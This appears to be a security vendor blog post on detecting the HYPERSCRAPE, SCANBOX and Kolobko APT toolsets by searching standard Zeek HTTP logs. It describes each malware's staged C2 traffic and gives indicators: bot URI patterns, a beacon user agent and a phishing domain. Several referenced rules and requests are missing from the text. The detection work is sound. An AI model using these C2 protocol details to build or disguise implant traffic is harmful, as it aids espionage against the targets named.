The Corelight Labs team prides itself on the ability to create novel Zeek and Suricata detection content that delves deep into packet streams by leveraging the full power of these tools. However this level of additional sophistication is not always required: sometimes there are  straightforward approaches that only require queries over standard Zeek logs. It’s always valuable when developing detections to keep in mind that “sometimes simple does just fine.”

In recent times we’ve seen several instances that exemplify this concept. In this blog we show how following an evidence based detection strategy can enable high quality detections in near real time and, possibly even more importantly, for retrospective investigations. We show this by using only logs produced by standard out-of-the-box Zeek.

We’ll look at three APT toolsets that have been linked to five threat actors, detecting each using relatively simple search logic.

HYPERSCRAPE (APT35 AKA “Charming Kitten”)

Google’s TAG team published an excellent analysis of a post-compromise data extraction tool that harvests data from Gmail, Microsoft and Yahoo! accounts. They reported that the tool has been used by Iranian government-backed groups APT35 AKA “Charming Kitten” since December 2021. We will describe three detection strategies - highlighting key components in red - and then provide a SIEM search that encompasses all three.

Stage 1:

When launched, HYPERSCRAPE communicates with its C2 with the following GET request (the {C2} component below is a placeholder/variable):

If the C2 responds with “OK” the tool continues to Stage 2, otherwise it terminates. This allows the attacker to remotely disable implants on startup, perhaps based on the IP address of the victim. 

Stage 2:

If the implant receives an “OK” from the C2 during stage 1, it displays a form which allows the attacker to select an email provider to target, and other options including an identity for the victim.

Image of implant form: provided by Google TAG

The identity field is then sent to the C2 in a GET request, and is represented for the purpose of this blog as {identity} below:.

Once again, the implant expects a response of “OK” from the C2, and will then proceed to Stage 3.

Stage 3:

After finding and extracting emails, the implant places them in the local Downloads directory, and sends a status message back to the C2 via a POST which contains metadata related to the extraction (REDACTED as appropriate).

Note that while outside the scope of this blog, in addition to the standard Zeek http.log, we can also inspect the content (blue contents) in various ways:

• In real-time using a Zeek script.
• In real-time using Suricata rules.
• In SIEM processing of the post_body field within Zeek’s http.log, which can be made available using our open source Zeek package. 

Putting it all together

This simple SIEM rule searches the standard Zeek http.log for each of the three elements described above:

SCANBOX (TA423/Red Ladon)

In a joint research piece, PWC and Proofpoint released an excellent analysis on a malware campaign that was assessed with moderate confidence to be conducted by  China-based espionage-motivated APT group “APT TA423” AKA “Red Ladon”.  The campaign was said to target local and federal Australian government agencies, Australian media organizations, and heavy industry manufacturers that maintain wind turbines in the South China Sea.

The campaign began with phishing emails that included links to a website which impersonated Australian media entities “australianmorningnews[dot]com”. The intent of the phish was to entice victims to visit the site, where they would be infected with SCANBOX malware.  We encourage you to read the blog by PWC and Proofpoint which describes the campaign in great detail.

The phishing campaign

One of the first questions that a concerned organization may ask is “who clicked on the link to the phishing site?” Luckily it’s one of the easiest to answer, as Zeek’s HTTP logs can simply be searched for “australianmorningnews”.

Post infection

After having asked “who clicked on the links?” a follow-on question would be “who was infected?”  As shown in the PWC/Proofpoint analysis, several communications occur between the implant and the C2 over HTTP, as summarized in the following table: 

To detect this activity, once again we can search Zeek’s standard HTTP logs. We can do this on a per-URI basis, or a regex search which encompasses all of the patterns, as the example below shows. Note that the regex incorporates what is likely a campaign marker in the URI (i.e., the /i/ leading the URIs above) so that if this changes to another alphabetic character, the regex will still work.

Putting it all together

The following SIEM rule uses the standard Zeek http.log, which encompasses the phishing and post-infection stages as described above:

KOLOBKO Cisco incident (UNC2447, Lapsus$ et al)

In August, Cisco Systems disclosed a cyber attack that targeted its corporate IT infrastructure systems. In a further technical blog Talos (Cisco’s threat intelligence arm) made the following assessment on attribution:

Talos then shared a detailed analysis of the threat actor’s activities, which are described as “consistent with pre-ransomware activity, commonly observed leading up to the deployment of ransomware in victim environments.” Talos also shared some network indicators that can be used to detect the backdoor tool known as Win.Backdoor.Kolobko-9950676-0.

C2 URI patterns

Commands retrieved from the C2 use HTTP GET requests in the following formats: 

/bot/cmd.php?botid=%.8x

/bot/gate.php?botid=%.8x

We can simply search Zeek’s standard http logs for evidence of this activity with this SIEM search:

Beaconing

Following the initial infection, Talos reported additional requests were made every 10 seconds with this user agent:

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 Trailer/95.3.1132.33

We’ve confirmed from our Polaris data that the Trailer/ component is relatively rare in operational traffic, and the 95.3.1132.33 version component even rarer - in fact we did not find a single instance of that version. To further guard against false positives, we can also tighten the search up with a URI constraint of php.

Timing-based detection of beacons falls outside the scope of this blog, but as a secondary detection element, if this activity is seen to occur every 10 seconds - or any reasonably consistent periodicity - then this would be a further indicator. 

Putting it all together

Combining these three simple searches together in a single rule, we have:

Summary

We’ve shown that detecting modern network attacks can sometimes be as simple as looking for patterns within logs already provided in standard Zeek output. These examples show that even in its simplest form, an evidence-based security strategy allows for both ongoing detection, and retrospective/forensic analysis. This latter is particularly important: very often when analyzing activity that occurred in the past, prior to us knowing what to look for, the only available avenue is to mine previously gathered evidence along the lines of what we’ve sketched here.

By Corelight Labs Team